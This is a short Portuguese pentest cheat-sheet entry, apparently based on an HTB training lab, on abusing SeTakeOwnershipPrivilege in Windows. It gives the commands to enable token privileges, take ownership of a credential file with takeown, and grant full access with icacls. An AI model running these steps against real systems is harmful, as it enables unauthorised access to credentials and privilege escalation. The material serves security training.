SeTakeOwnershipPrivilege

O privilégio SeTakeOwnershipPrivilege concede a um usuário a capacidade de assumir a propriedade de qualquer "objeto protegível", ou seja, objetos do Active Directory, arquivos/pastas NTFS, impressoras, chaves de registro, serviços e processos.

  • Revisão dos privilégios atuais do usuário

whoami /priv

Habilitando SeTakeOwnershipPrivilege

Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1
whoami /priv
  • Selecionando um arquivo de destino

Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
  • Verificando a propriedade do arquivo

cmd /c dir /q 'C:\Department Shares\Private\IT'
  • Agora podemos usar o comando binário takeownarrow-up-right do Windows para alterar a propriedade do arquivo.

takeown /f 'C:\Department Shares\Private\IT\cred.txt'
  • Podemos confirmar a propriedade usando o mesmo comando de antes. Agora vemos que nossa conta de usuário é a proprietária do arquivo.

Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
  • Pode ser que ainda não consigamos ler o arquivo e precisemos modificar a ACL do arquivo icaclspara que possamos lê-lo

icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
  • Arquivos de interesse

Last updated